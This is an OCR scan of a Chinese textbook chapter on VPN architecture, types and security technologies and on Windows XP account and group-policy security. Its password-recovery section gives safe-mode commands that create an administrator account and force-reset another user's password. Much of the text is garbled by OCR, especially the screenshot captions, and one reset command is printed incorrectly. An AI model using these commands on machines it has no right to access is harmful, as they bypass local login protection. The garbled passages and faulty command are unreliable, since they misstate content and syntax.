由 于 VPN 是 在 Internet 上 临时 建立 的 安全 专用 虚拟 网 络 ,用 户 节 省 了 租用 专线 的 费 
用 ,在 运行 的 资金 支出 上 ,除了 购买 VPN 设备 ,企业 所 付出 的 仅仅 是 向 企业 所 在 地 的 ISP 
(Internet 服务 提供 商 ) 支 付 一 定 的 上 网 费用 ,也 节省 了 长 途 电 话费 ,相对 于 专线 连接 来 说 ， 
通信 成 本 最 高 可 降低 70%。 这 就 是 VPN 价格 低廉 的 原因 。 随 着 网 络 办 公 自 动 化 的 普及 ， 
越 来 越 多 的 企业 和 单位 开设 VPN 服务 ,为 异地 安全 办 公 提 供 便 利 。 

a 


VPN 主要 由 服务 器 网 关 、 隧 道 和 客户 机 3 部 分 组 成 ,其 结构 如 图 4-5 所 示 。 在 企业 内 
部 ,需要 配置 一 台 VPN 服务 器 网 关 , 在 外 部 网 络 中 的 客户 端 通过 VPN 隧道 访问 服务 器 , 数 
据 传输 是 经 过 压缩 、 加 密 的 ,具有 较 高 的 通信 安全 性 。 


VPN 网 关 


移动 用 户 VPN 网 关 
图 4-5 VPN 体系 结构 图 


2. 虚拟 专用 网 的 优势 及 特点 

相对 于 专线 网 络 ,VPN 的 优势 和 特点 主要 有 以 下 几 点 : 

(1) 安全 保障 

虽然 实现 VPN 的 技术 和 方式 很 多 ,但 所 有 的 VPN 均 应 保证 通过 公用 网 络 平台 传输 数 
据 的 专用 性 和 安全 性 。 在 非 面向 连接 的 公用 IP 网 络 上 建立 一 个 逻辑 的 ,点 对 点 的 连接 , 称 
之 为 建立 一 个 隧道 ,可 以 利用 加 密 技 术 对 经 过 隧道 传输 的 数据 进行 加 密 , 以 保证 数据 仅 被 指 
定 的 发 送 者 和 接收 者 了 解 ,从 而 保证 数据 的 私有 性 和 安全 性 。 在 安全 性 方面 ,由 于 VPN 直 
接 构 建 在 公用 网 上 ,实现 简单 方便 、 灵 活 , 但 同时 其 安全 问题 也 更 为 突出 。 企 业 必须 确保 其 
VPN 上 传送 的 数据 不 被 攻击 者 窥视 和 算 改 ,并 且 要 防止 非法 用 户 对 网 络 资源 或 私有 信息 的 
访问 。ExtranetVPN 将 企业 网 扩展 到 合作 伙伴 和 客户 ,对 安全 性 提出 了 更 高 的 要 求 。 

(2) 服务 质量 保证 (QoS) 

VPN 网 应 当 为 企业 数据 提供 不 同等 级 的 服务 质量 保证 。 不 同 的 用 户 和 业务 对 服务 质 
量 保证 的 要 求 差别 较 大 。 如 移动 办 公用 户 ,提供 广 泛 的 连接 和 覆盖 性 是 保证 VPN 服务 的 
一 个 主要 因素 ;而 对 于 拥有 众多 分 支 机 构 的 专线 VPN 网 络 ,交互 式 的 内 部 企业 网 应 用 则 要 
求 网 络 能 提供 良好 的 稳定 性 ;对 于 其 他 应 用 (如 视频 等 ) 则 对 网 络 提出 了 更 明确 的 要 求 , 如 网 
络 时 延 及 误 码 率 等 。 所 有 以 上 网 络 应 用 均 要 求 网 络 根据 需要 提供 不 同等 级 的 服务 质量 。 在 
网 络 优化 方面 ,构建 VPN 的 另 一 重要 需求 是 充分 有 效 地 利用 有 限 的 广域网 资源 ,为 重要 数 
据 提供 可 靠 的 带宽 。 广 域 网 流量 的 不 确定 性 使 其 带宽 的 利用 率 很 低 ,在 流量 高 峰 时 引起 网 
络 阻塞 ,产生 网 络 瓶 颈 , 使 实时 性 要 求 高 的 数据 得 不 到 及 时 发 送 ; 而 在 流量 低谷 时 又 造成 大 
量 的 网 络 带 宽 空闲 。QosS 通过 流量 预测 与 流量 控制 策略 ,可 以 按照 优先 级 分 配 带宽 资源 ， 
实现 带宽 管理 ,使 得 各 类 数据 能 够 被 合理 地 先后 发 送 ,并 预防 阻塞 的 发 生 。 

(3) 可 扩充 性 和 灵活 性 

VPN 必须 能 够 支持 通过 Intranet 和 Extranet 的 任何 类 型 的 数据 流 , 方 便 增 加 新 的 节 
点 ,支持 多 种 类 型 的 传输 媒介 ,可 以 满足 同时 传输 语音 、 图 像 和 数据 等 新 应 用 对 高 质量 传输 
以 及 带宽 增加 的 需求 。 

(4) 可 管理 性 

从 用 户 角 度 和 运营 商 角 度 应 可 方便 地 进行 管理 维护 。 在 VPN 管理 方面 ,VPN 要 求 企 
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业 将 其 网 络 管理 功能 从 局 域 网 无 颖 地 延伸 到 公用 网 ,甚至 是 客户 和 合作 伙伴 。 虽 然 可 以 将 
一 些 次 要 的 网 络 管理 任务 交 给 服务 提供 商 去 完成 ,但 企业 自己 仍 需 要 完成 许多 网 络 管理 任 
务 。 所 以 ,一 个 完善 的 VPN 管理 系统 是 必 不 可 少 的 。VPN 管理 的 目标 为 : 减 小 网 络 风险 ， 
具有 高 扩展 性 ,经 济 性 、 高 可 靠 性 等 优点 。 事 实 上 ,VPN 管理 主要 包括 安全 管理 .设备 管理 、 
配置 管理 .访问 控制 列表 管理 .QoS 管理 等 内 容 。 

3. 虚拟 专用 网 的 分 类 

虚拟 专用 网 从 不 同 的 角度 可 以 进行 多 种 分 类 。 

(1) 按照 VPN 的 应 用 平台 分 类 。 

Q@ 软件 平台 VPN: 当 对 数据 连接 速率 要 求 不 高 ,对 性 能 和 安全 性 要 求 不 强 时 ,可 以 利 
用 一 些 软件 公司 提供 的 基于 软件 的 VPN 产品 来 实现 简单 的 VPN 功能 ,如 Checkpoint 
Software 和 Aventail Corp 等 公司 的 产品 。 甚 至 不 需要 另外 购置 软件 , 仅 依 靠 微 软 的 
Windows 操作 系统 ,特别 是 Windows 2000 以 后 的 系统 就 可 以 实现 纯 软 件 平台 的 VPN 连 
接 。 这 类 VPN 网 络 一 般 性 能 较 差 ,数据 传输 速率 较 低 ,同时 在 安全 性 方面 也 比较 薄弱 ,一 
般 仅 用 于 连接 用 户 较 少 的 小 型 企业 。 但 微软 的 Windows Server 2003 中 VPN 技术 得 到 了 
较 大 的 改进 ,最 多 可 以 创建 1000 个 点 对 点 隧道 协议 (PPTP) 端 口 和 1000 个 两 层 隧 道 协议 
(L2TP) 端 口 ,能 满足 中 小 型 企业 的 一 般 应 用 。 

@ 专用 硬件 平台 VPN: 使 用 专用 硬件 平台 的 VPN 设备 可 以 满足 企业 和 个 人 用 户 对 数 
据 安 全 及 通信 性 能 要 求 较 高 的 情况 。 提 供 这 些 平台 的 硬件 厂商 较 多 ,著名 的 公司 有 Nortel、 
Cisco、3Com、 联 想 、 华 为 等 ,这 类 硬件 平台 需要 相应 的 软件 系统 。 这 类 VPN 最 大 的 不 足 在 
于 成 本 高 ,一般 中 小 企业 难以 承受 , 它 适合 于 专业 的 VPN 网 络 服务 提供 商 。 

@ 辅助 硬件 平台 VPN: 这 类 VPN 平台 介 于 软件 平台 和 专用 硬件 平台 之 间 ,辅助 硬件 
平台 VPN 以 现 有 网 络 设备 为 基础 ,再 增添 适当 的 VPN 软件 以 实现 VPN 的 功能 。 这 类 
VPN 具有 一 定 的 通用 性 ,不 针对 某 一 品牌 产品 ,所 以 这 种 VPN 平台 方案 具有 广泛 的 兼容 
性 ,目前 已 成 为 许多 中 小 企业 用 户 的 首选 VPN 方案 。 

(2) 按照 VPN 的 服务 类 型 分 类 。 

@@ AccessVPN: AccessVPN 通过 一 个 拥有 与 专用 网 络 相同 策略 的 共享 基础 设施 ,提供 
对 企业 内 部 网 或 外 部 网 的 远程 访问 。AccessVPN 能 使 用 户 随 时 随地 以 其 所 需 的 方式 访问 
企业 资源 。AccessVPN 包括 模拟 、 拨 号 .ISDN 数字 用 户 线 路 (xDSL)、 移 动 IP 和 电缆 技 
术 ,能 够 安全 地 连接 移动 用 户 、 远 程 工作 者 或 分 支 机 构 。AccessVPN 最 适用 于 公司 内 部 经 
常 有 流动 人 员 远 程 办 公 的 情况 。AccessVPN 对 用 户 的 吸引 力 在 于 : 减少 用 于 相关 的 调制 
解 调 器 和 终端 服务 设备 的 资金 及 费用 ,简化 网 络 ; 实 现 本 地 拨号 接 入 的 功能 来 取代 远 距 离 接 
入 或 800 电话 接 入 ,这 样 能 显著 降低 远 距离 通信 的 费用 ; 极 大 的 可 扩展 性 ,简便 地 对 加 入 网 
络 的 新 用 户 进行 调度 ;将 工作 重心 从 管理 和 保留 运作 拨号 网 络 的 工作 人 员 转 到 公司 的 核心 
业务 上 来 。 

@ IntranetVPN: 又 称 为 “企业 内 联 VPN”。 利 用 Internet 的 线路 保证 网 络 的 互 连 性 ， 
而 利用 隧道 .加 密 等 VPN 特性 可 以 保证 信息 在 整个 IntranetVPN 上 安全 传输 。 
IntranetVPN 通过 一 个 使 用 专用 连接 的 共享 基础 设施 ,连接 企业 总 部 .远程 办 事 处 和 分 支 机 
构 。 企 业 拥 有 与 专用 网 络 相同 的 政策 ,包括 安全 .服务 质量 (QoS) .可 管理 性 和 可 靠 性 。 
IntranetVPN 对 用 户 的 吸引 力 在 于 : 减少 WAN 带宽 的 费用 ;能 使 用 灵活 的 拓扑 结构 ,包括 
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全 网 络 连接 ;新 的 站 点 能 更 快 ,更 容易 地 被 连接 ;通过 设备 供应 商 WAN 的 连接 元 余 , 可 以 延 
长 网 络 的 可 用 时 间 。 

@ ExtranetVPN: 又 称 为 “企业 外 联 VPN”, 可 以 提供 B2B 之 间 的 安全 访问 服务 。 随 着 
信息 时 代 的 到 来 ,各 个 企业 越 来 越 重视 各 种 信息 的 处 理 , 希 望 可 以 提供 给 客户 最 快捷 方便 的 
信息 服务 ,通过 各 种 方式 了 解 客户 的 需要 ,同时 各 个 企业 之 间 的 合作 关系 也 越 来 越 多 ,信息 
交换 日 益 频繁 。 利 用 VPN 技术 可 以 组 建安 全 的 Extranet, 既 可 以 向 客户 、 合 作 伙伴 提供 有 
效 的 信息 服务 ,又 可 以 保证 自身 的 内 部 网 络 的 安全 。ExtranetVPN 通过 一 个 使 用 专用 连接 
的 共享 基础 设施 ,将 客户 、 供 应 商 、 合 作 伙伴 或 兴趣 群体 连接 到 企业 内 部 网 。 企 业 拥 有 与 专 
用 网 络 相 同 的 政策 ,包括 安全 .服务 质量 (QoS) .可 管理 性 和 可 靠 性 。ExtranetVPN 对 用 户 
的 吸引 力 在 于 : 能 容易 地 对 外 部 网 进行 部 署 和 管理 ,外 部 网 的 连接 可 以 使 用 与 内 部 网 和 远 
端 访问 VPN 相同 的 架构 和 协议 进行 部 署 。 


4.5.2 虚拟 专用 网 (VPN) 的 安全 技术 


由 于 VPN 传输 的 是 企业 或 单位 的 私有 信息 ,VPN 用 户 对 数据 的 安全 性 都 很 重视 。 目 
前 VPN 主要 采用 4 项 技术 来 保证 安全 ,这 4 项 技术 分 别 是 隧道 技术 (tunneling) 、 加 解密 技 
术 (encryption &. decryption) 、 密 钥 管 理 技 术 (key management) .使 用 者 与 设备 身份 认证 技 
术 (authentication)。 

1. 隧道 技术 

隧道 技术 是 VPN 的 基本 技术 ,类 似 于 点 对 点 连接 技术 , 它 在 公用 网 建立 一 条 数据 通道 
(隧道 ) ,让 数据 包 通 过 这 条 隧道 传输 。 隧 道 是 由 隧道 协议 形成 的 ,分 为 第 二 ,三 层 隧道 协议 。 
第 二 层 障 道 协议 是 先 把 各 种 网 络 协 议 封装 到 PPP 中 ,再 把 整个 数据 包装 人 隧道 协议 中 。 这 
种 双 层 封装 方法 形成 的 数据 包 靠 第 二 层 协 议 进 行 传输 。 第 二 层 隧道 协议 有 L2F (layer 2 
forwarding, 第 二 层 转发 协议 )、PPTP(point-to-point tunneling protocol, 点 对 点 隧道 协议 )、 
L2TP(layer 2 tunneling protocol, 第 二 层 隧 道 协议 ) 等 。L2TP 协议 是 目前 IETF 的 标准 ,由 
IETF 融合 PPTP 与 L2F 而 形成 。 

第 三 层 隧道 协议 是 把 各 种 网 络 协议 直接 装 入 隧道 协议 中 ,形成 的 数据 包 依 靠 第 三 层 协 
议 进 行 传输 。 第 三 层 隧道 协议 有 VTP,IPSec(IP security) 等 。IPSec 是 由 一 组 RFC 文档 组 
成 ,定义 了 一 个 系统 来 提供 安全 协议 选择 .安全 算法 ,确定 服务 所 使 用 的 密 钥 等 服务 ,从 而 在 
IP 层 提 供 安 全 保障 。 

2. 加 解密 技术 

基于 VPN 的 网 络 通信 中 ,为 了 保障 数据 的 安全 性 ,传输 的 数据 都 是 经 过 加 解密 处 理 
的 。 最 基本 使 用 的 对 称 加 解密 算法 主要 有 DES,3DES,AES,RC4,RC5 等 ,常用 的 非 对 称 加 
解密 算法 主要 有 RSA、 椭 圆 曲 线 等 ,有 关 加 解密 算法 的 相关 内 容 已 经 在 第 2 章 中 进行 了 
介绍 。 

3. 密 钥 管理 技术 

密 钥 管理 技术 的 主要 任务 是 如 何在 公用 数据 网 上 安全 地 传递 密 钥 而 不 被 窃取 。 现 行 密 
钥 管理 技术 又 分 为 SKIP 与 ISAKMP/OAKLEY 两 种 。SKIP 主要 是 利用 Diffie-Hellman 
的 演算 法 则 ,在 网 络 上 传输 密 钥 ;在 ISAKMP 中 ,双方 都 有 两 把 密 钥 ,分 别 用 于 公用 和 私 用 。 
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4. 身份 认证 技术 

VPN 采用 了 身份 认证 技术 ,常用 的 有 PAP(password authentication protocol, 密 码 认 
证 协议 )、CHAP (challenge handshake authentication protocol, 质询 握手 认证 协议 ) 等 。 
VPN 连接 中 一 般 都 包括 以 下 两 种 形式 的 认证 。 

(1) 用 户 身份 认证 : 在 VPN 连接 建立 之 前 ,VPN 服务 器 对 请 求 建立 接连 的 VPN 客户 
机 进行 身份 认证 ,检查 其 是 否 为 合法 的 授权 用 户 , 如 果 使 用 双向 认证 ,还 需 进行 VPN 客户 
机 对 VPN 服务 器 的 身份 认证 ,以 防伪 装 的 非法 服务 器 提供 错误 信息 。 

(2) 数据 完整 性 和 合法 性 认证 : 检查 链 路 上 传输 的 数据 是 否 出 自 源 端 以 及 在 传输 过 程 
中 是 否 经 过 算 改 。 在 VPN 链 路 中 传输 的 数据 包 包 含 密码 检查 和 校 验 , 密 钥 只 由 发 送 者 和 
接收 者 双方 共享 。 


4.5.3 ”虚拟 专用 网 (VPN) 的 发 展 趋势 


随 着 Internet 技术 的 不 断 发 展 ,企业 办 公 越 来 越 离 不 开 网 络 ,VPN 技术 对 于 企业 的 贡 
献 越 来 越 受 到 重视 ,因此 ,VPN 会 在 今后 一 段 时 间 内 保持 强劲 的 发 展 势头 ,主要 表现 在 以 下 
几 方 面 。 

1. SSL VPN 将 发 展 迅速 

目前 ,大 部 分 的 VPN 都 是 基于 IP 网 络 层 的 IPSec(Internet protocol security)VPN ,这 
是 利用 IPSec 安全 协议 ,通过 在 公众 网 络 中 建立 安全 隧道 ,并 对 IP 层 的 数据 进行 加 密 ,提供 
专用 网 络 的 功能 和 作用 。IPSec 通道 一 旦 建立 ,所 有 在 网 络 层 之 上 的 协议 在 通信 双方 都 经 
过 加 密 。IPSec VPN 是 一 种 高 效 的 网 对 网 连接 方案 ,但 是 不 足 在 于 需要 安装 客户 端 软 件 ， 
安装 和 维护 困难 ,维护 成 本 高 。 

SSL(secure sockets layer)VPN 是 一 种 基于 应 用 层 的 虚拟 专 网 技术 , 它 利用 SSL 技术 
和 代理 技术 ,向 终端 用 户 提供 安全 访问 HTTP 资源 、Client/Server 资源 ,以 及 文件 共享 资源 
等 的 功能 ,同时 可 以 实现 不 同方 式 的 用 户 认 证 ,以 及 细 粒 度 的 访问 控制 。SSL VPN 的 优势 
在 于 : 无 须 安装 客户 端 软 件 , 可 以 实现 一 切 IPSec VPN 功能 ,应 用 层面 更 加 广阔 等 ,是 新 一 
代 的 VPN 技术 。 

2. 功能 集成 化 

VPN 的 发 展 趋势 将 是 集成 多 种 功能 ,形成 一 个 多 功能 的 网 关 , 集 成 为 用 户 解决 路 由 上 
网 .VPN 连接 .防火 墙 等 功能 ,有 效 解决 不 同 产品 之 间 的 兼容 .配置 等 问题 。 目 前 很 多 的 路 
由 器 产品 都 具有 一 定 功能 的 VPN ,大 部 分 的 VPN 产品 也 宣称 具有 防火 墙 功能 ,但 是 技术 上 
仍然 不 是 很 成 熟 ,功能 不 如 专业 软件 完善 。 而 用 户 不 希望 配置 完 VPN 服务 器 还 要 配置 防 
火 墙 服 务 器 、 网 关 服 务 器 等 ,这 样 用户 需 要 面 对 很 多 的 产品 和 很 多 的 厂商 ,因此 ,服务 集成 化 
将 是 IT 产品 发 展 的 趋势 ,VPN 产品 也 必 将 是 一 个 多 功能 的 集成 产品 。 


4.6 个 人 操作 系统 的 安全 性 


从 2004 年 微软 推出 Windows XP Service Pack 2 简体 中 文 版 以 来 ,Windows XP 在 中 

国 个 人 操作 系统 中 占有 了 绝 大 部 分 市 场 ,具有 垄断 优势 。 虽 然 中 间 微 软 还 推出 了 Windows 

Vista 操作 系统 ,但 是 直到 今天 Windows XP 仍然 是 个 人 操作 系统 的 主流 平台 。2009 年 , 微 
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软 推出 Windows 7.0 新 一 代 个 人 操作 系统 ,该 系统 使 得 各 种 操作 更 加 简单 和 快捷 ,为 人 们 
提供 高 效 易 行 的 工作 环境 。 在 未 来 一 段 时 间 里 , Windows XP 将 会 继续 和 Windows 7.0 一 
起 分 占 个 人 操作 系统 平台 市 场 。 


4.6.1 Windows XP 系统 的 安全 特点 


Windows XP 的 安全 性 比 以 前 版 本 的 操作 系统 有 了 很 大 的 提高 ,凭借 其 新 的 安全 标准 
和 增强 的 防 病毒 功能 ,能 够 在 一 定 程 度 上 保护 计算 机 不 受 侵害 。 但 是 ,对 于 日 益 肆 虐 的 网 络 
病毒 和 木马 来 说 ,Windows XP 的 安全 保护 功能 又 是 非常 有 限 的 。 因 此 ,要 合理 地 应 用 和 发 
挥 Windows XP 的 安全 功能 ,并 结合 防 病毒 工具 共同 保护 系统 的 安全 性 。 

在 Windows XP 系统 中 ,安全 性 主要 体现 在 以 下 几 个 方面 。 

1. 完善 的 用 户 管理 功能 

Windows XP 基于 Windows 2000/NT 的 内 核 进行 改进 ,在 用 户 管理 上 更 加 安全 ,凡是 
新 增 的 用 户 都 可 以 在 登录 的 时 候 看 到 ,而 不 像 Windows 2000 ,即使 被 黑客 增加 了 一 个 管理 
员 组 的 用 户 都 发 现 不 了 。 使 用 NTFS 文件 系统 可 以 通过 设置 文件 夹 的 安全 选项 来 限制 用 
户 对 文件 夹 的 访问 ,如 某 普通 用 户 访问 另 一 个 用 户 的 文档 时 会 提出 警告 。 还 可 以 对 某 个 文 
件 ( 或 者 文件 夹 ) 启 用 审核 功能 ,将 用 户 对 该 文件 (或 者 文件 夹 ) 的 访问 情况 记录 到 安全 日 志 
文件 里 去 ,进一步 加 强 对 文件 操作 的 监督 。 

2. 透明 的 软件 限制 策略 

在 Windows XP 中 ,软件 限制 策略 以 “透明 ”的 方式 来 隔离 和 使 用 不 可 靠 的 、 潜 在 的 对 用 
户 数 据 有 和 危害 的 代码 ,这 可 以 保护 计算 机 免 受 各 种 通过 电子 邮件 或 网 页 传播 的 病毒 、 木 马 程 
序 和 蠕虫 等 ,保证 了 数据 的 安全 ，。 

3. 支持 NTFS 文件 系统 以 及 加 密 文件 系统 EFS 

Windows XP 里 的 加 密 文件 系统 (EFS) 基 于 公众 密 钥 ,并 利用 CryptoAPI 结构 默认 的 
EFS 设置 ,EFS 还 可 以 使 用 扩展 的 DESX(data encryption standard) 和 3DES(triple-DES) 
作为 加 密 算法 。 加 密 时 ,EFS 自动 生成 一 个 加 密 密 钥 。 当 加 密 一 个 文件 夹 时 ,文件 夹 内 的 
所 有 文件 和 子 文件 夹 都 被 自动 加 密 了 ,数据 就 会 更 加 安全 。 

4. 安全 的 网 络 访问 特性 

(1) 补丁 自动 更 新 ,不 用 用 户 关心 什么 时 候 有 更 新 补丁 和 怎么 下 载 更 新 的 问题 ,为 用 户 
“减负 ”。 

(2) 系统 自 带 Internet 连接 防火 墙 ,为 用 户 提 供 网 络 安全 保护 。 

5. 关闭 “后 门 ” 

在 以 前 的 版 本 中 ,Windows 系统 留 着 几 个 “后 门 ”如 137,138,139 等 端口 都 是 “敞开 大 
门 ”* 的 。 现 在 ,在 Windows XP 中 这 些 端口 是 关闭 的 。 


4.6.2 Windows XP 系统 的 登录 与 用 户 管理 


Windows XP 是 一 个 多 用 户 系统 , 它 允 许多 个 用 户 登录 使 用 同一 台 计 算 机 ,而 相互 之 间 
并 不 干扰 。 合 理 地 利用 和 设置 账户 功能 能 使 系统 在 公共 环境 下 更 加 安全 。 
所 谓 “ 账 户 ”, 就 是 Windows XP 系统 登录 用 户 的 身份 类 型 ,不同 的 身份 类 型 具有 不 同 的 
权限 。Windows XP 提供 了 多 种 账户 类 型 ,打开 “控制 面板 ”, 依 次 选择 “管理 工具 ”|“ 计 算 机 
a 


管理 "| "系统 工具 ”| * 本 地 用 户 和 组 ”| * 组 ?分 类 ,就 可 以 看 到 Windows XP 的 全 部 账户 组 分 
级 ,如 图 4-6 所 示 。 如 Administrators 组 是 管理 员 账 户 , 具 有 最 高 控制 权 和 完全 访问 权 , 可 
以 管理 计算 机 设置 ,向 用 户 指派 用 户 权 利和 访问 控制 权限 等 ,例如 管理 用 户 和 组 账户 ,管理 
共享 ,管理 打印 机 、 设 置 用 户 权 限 等 。 而 Guests 组 是 一 个 来 宾 用 户 , 供 用 户 临 时 使 用 的 账 
户 ,例如 提供 给 偶尔 需要 登录 的 用 户 使 用 。 该 账户 只 有 很 少 的 权限 。 


旦 计算 机 管理 
加 文件 中” 操作) 查看 WD 窗口 如 帮助 加 =le|x| 
和 “了 让 | 加 | 回避 久 
加 计算机 管理 条 地 ) 名 称 [ 擅 玉 
系统 工具 是 Mainistrators 管理 员 对 计算 机 / 域 有 不 受 限制 的 完全 访问 权 
十 加 事件 查看 器 Backup Operators 备份 操作 员 为 了 备份 或 还 原文 件 可 以 著 代 安全 限制 
共享 文件 来 本 cuests 按 默 认 值 ， 来 宾 跟 用 户 姐 的 成 员 有 同等 访问 权 
本 地 用 户 和 组 酌 etwork Configurat..。 此 姐 中 的 成 员 有 部 分 管理 权限 来 管理 网 络 功能 
回 用 户 Power User Fower User 拥有 大 部 分 管理 权限 ,但 也 有 限制 
人 Renote Desktop Users ”此 组 中 的 成 员 被 授予 远程 登录 的 权限 
的 时 区 Replicator 支持 域 中 的 文件 复制 
1! Users 用 户 无 法 进行 有 意 或 无 意 的 改动 。 因 此 , 用户 
本 国 可 移动 存 傅 HelpServicesGroup 才 助 和 支持 中 心 组 
图 4-6 ”用户 和 组 


组 策略 是 管理 员 为 用 户 和 计算 机 定义 并 控制 程序 、 网 络 资源 及 操作 系统 行为 的 主要 工 
具 。 通 过 使 用 组 策略 可 以 设置 各 种 软件 .计算 机 和 用 户 策略 。 

打开 组 策略 窗口 的 方式 为 : 在 “开始 ”菜单 中 ,选择 运行", 打开 命令 行 对 话 框 ,输入 
gpedit. msc 命令 ,就 打开 了 “组 策略 ”窗口 。 

组 策略 可 以 对 计算 机 进行 两 个 方面 的 设置 : 一 种 是 本 地 计算 机 配置 , 另 一 种 是 本 地 用 
户 配置 。 读 者 可 以 逐次 展开 查看 其 内 容 , 可 以 看 到 ,这 其 中 包括 了 对 计算 机 的 各 种 自 定 义 控 
制 ,尤其 是 安全 控制 。 

1. 设置 多 用 户 同时 登录 系统 

Windows XP 系统 支持 多 用 户 同时 使 用 系统 ,要 新 建 用 户 ,可 以 在 “控制 面板 ”的 “用 户 
账户 ”选项 中 进行 。 

假设 在 一 个 办 公 环 境 中 , 张 三 的 计算 机 正在 下 载 数据 ,而 张 三 要 出 去 办 事 。 同 事 李 四 想 
暂时 用 一 下 张 三 的 计算 机 ,此 时 , 张 三 不 想 把 自己 的 账号 告诉 李 四 ( 因 为 他 的 账户 中 有 一 些 
加 密 文 件 ) ,也 不 想 停止 下 载 文 件 的 操作 ,这 时 ,可 以 给 李 四 开 设 一 个 受 限 制 的 用 户 账号 ,使 
系统 同时 为 两 个 账户 工作 而 互 不 干扰 。 

操作 步骤 如 下 。 

(1) 依次 单 击 *“ 开 始 ”| 控制 面板 "| 用户 账 户 ”, 打 开 * 用 户 账 户 ? 窗 口 。 

(2) 选择 “创建 一 个 新 账户 ”, 为 新 账户 输入 一 个 名 称 ,如 temp ,并 在 下 一 步 的 账户 类 型 
中 ,选择 “ 受 限 ”类 型 , 单 击 “ 创 建 账户 ”。 如 图 4-7 所 示 。 

这 样 ,可 以 让 李 四 以 temp 账户 正常 登录 使 用 计算 机 ,但 是 他 无 法 干预 张 三 账 户 下 的 下 
载 操作 ,也 不 能 查看 张 三 账 户 中 已 经 加 密 的 文件 和 数据 ,实现 了 对 多 用 户 的 支持 。 

组 策略 规定 了 各 种 用 户 权 限 的 详细 配置 和 说 明 ,其 位 置 在 : 打开 “组 策略 ”窗口 后 ,依次 
展开 “计算 机 配置 ”1“Windows 设置 ”1“ 安 全 设置 ”1“ 本 地 策略 节点 ”, 选 择 “ 用 户 权 利 指派 ” 
选项 ,可 以 看 到 窗口 的 右边 列 出 了 非常 详细 的 用 户 权 限 分 类 和 说 明 。 

2. 应 用 组 策略 ,设置 账户 保护 

在 默认 情况 下 ,用户 上 次 登录 系统 的 用 户 名 会 自动 保存 在 登录 框 中 ,这 样 就 给 试图 靠 猜 
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。 在 共享 文档 文件 来 中 查看 文件 


eT 根据 程序 的 不 同 ， 用户 可 能 需要 管理 员 权限 


同样 ,在 Ee iy XP ee Windows 2000 之 前 设计 的 程序 可 能 在 受 限制 的 账户 中 不 能 
正确 运行 。 ， 请 选择 有 Designed for Windows XF 微 标的 程序 ,或 者 
要 Py “计算 机 管理 员 ” 账户 类 型 。 


《上 一步 四 | 可 本 OO ] | 取消 ] 


图 4-7 设置 受 限 账户 


测 密码 进入 系统 的 用 户 留 下 了 机 会 ,用户 可 以 将 登录 用 户 名 不 保留 。 具 体操 作 步 又 如 下 。 
(1) 进入 “组 策略 ”窗口 。 
(2) 依次 展开 “计算 机 配置 ”1“Windows 设置 ”| “安全 设置 ”|“ 本 地 策略 ”节点 ,选中 “ 安 
全 选项 ”, 在 窗口 右 侧 双击 “交互 式 登录 : 不 显示 上 次 的 用 户 名 ”选项 ,弹出 “本 地 安全 设置 ” 
对 话 框 ,选中 “已 启用 ” 单 选 按钮 。 如 图 4-8 所 示 。 


7 式 登录 : 不 显示 上 次 户 名 
文件 @) 操作 人 查看) 才 助 0) 交互 式 登 录 : 不 显示 上 次 的 用 户 名 展 性 


牛牛 | 四 六 略 轩 多 本 地 安全 设置 | 四 
起 “本 地 计算 机 ”策略 | 交互 式 登录 ; 不 显示 上 次 的 用 户 名 
日 而 计算 机 配 轩 二 sa | 已 
回 软件 设置 
日 国人 indows 设置 
和 (启动 /关机 ) 
日 七 安全 设置 


软件 | 
四 时 I em 在 本 地 计算 机 
[ 测 斩 ] 管理 入 
日 梦 用 户 配置 
回 软件 设置 


图 4-8 设置 账户 保护 
3. 设置 Windows 启动 密码 ,启用 双重 保护 
Windows XP 系统 自 带 一 个 功能 强大 的 命令 syskey, 可 以 对 系统 进行 启动 加 密 , 只 有 正 
确 地 输入 了 启动 密码 后 , 才能 看 到 正常 情况 下 ， 
保证 Windows XP 账户 数据 库 的 安全 区 | Windows XP 的 用 户 登 录 界 面 。 
Es 和 设置 启动 密码 的 操作 步 又 如 下 。 

一 日 启用 这 个 加 时 就 不 能 茜 用 。 (1) 在 “开始 "菜单 中 ,选择 “运行 ”, 打 开 命 令 行 对 
话 框 ,输入 syskey 命令 ,弹出 “保证 Windows XP 账 
户 数据 库 的 安全 ”窗口 。 如 图 49 所 示 。 

(2) 选中 “启用 加 密 ” 单 选 按 钮 , 单 击 “ 确 定 ” 按 钮 ， 
图 4-9 设置 系统 启动 密码 输入 密码 ,就 完成 了 启动 密码 的 设置 。 
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(3) 如 果 想 取消 系统 启动 密码 , 则 在 选中 “启用 密码 ”后 单 击 “ 更 新 ”, 在 弹出 的 “启动 密 
码 ” 窗 口中 , 勾 选 “在 本 机 上 保存 启动 密码 " 复 选 框 ,输入 密码 后 ,系统 会 将 密码 保存 到 系统 硬 
盘 上 ,下 次 启动 系统 时 就 不 再 有 系统 启动 密码 窗口 出 现 了 。 

4. 忘记 Windows XP 登录 密码 的 处 理 方 法 

如 果 忘 记 了 Windows XP 的 登录 密码 ,不 需要 完全 重新 安装 系统 ,使 用 安全 模式 和 net 
命令 即 可 解决 问题 。 具 体操 作 步 又 如 下 。 

(1) 重新 启动 计算 机 ,在 开机 自 检 完成 后 , 按 F8 键 ,在 出 现 的 菜单 中 选择 “ 带 命令 行 的 
安全 模式 ”选项 ,以 Administrator 账户 进入 Windows XP 系统 。 

(2) 在 命令 提示 符 下 输入 “net user abc 123/add” 命 令 , 按 Enter 键 ,就 增加 了 一 个 名 称 
为 “abc”, 密 码 为 “123” 的 新 用 户 。 

(3) 将 新 用 户 的 权限 提升 到 管理 员 级 别 。 输 入 命令 “net 1 ocalgroup administrator 
abc /add”, 

(4) 上 面 的 (2)、(3) 步 操作 也 可 以 改 为 强制 为 忘记 密码 的 用 户 修改 密码 ,如 忘记 密码 的 
账户 为 “amy”, 则 在 命令 提示 符 下 可 以 输入 “net user amy 123/add”, 即 将 账户 “amy” 的 登录 
密码 强制 改 为 "123”。 修 改 完成 后 ,重新 启动 计算 机 ,正常 启动 。 


4.6.3 Windows XP 系统 的 共享 资源 及 远程 管理 机 制 


Windows XP 是 一 个 支持 网 络 应 用 的 操作 系统 , 随 着 网 络 服务 的 不 断 发 展 , 网 络 办 公 和 
资源 共享 成 为 日 常 应 用 的 重要 部 分 。Windows XP 系统 提供 了 网 络 资源 共享 以 及 远程 管理 
机 制 ,为 网 络 应 用 提供 了 很 好 的 支持 。 

1. 共享 资源 

Windows XP 系统 的 共享 分 为 两 种 : 简单 文件 共享 (simple file sharing) 和 高 级 文件 共 
享 (professional file sharing) 。 

(1) 简单 共享 。 

Windows XP 在 默认 情况 下 是 打开 简单 文件 


kis9. 0.0.736sch 属性 


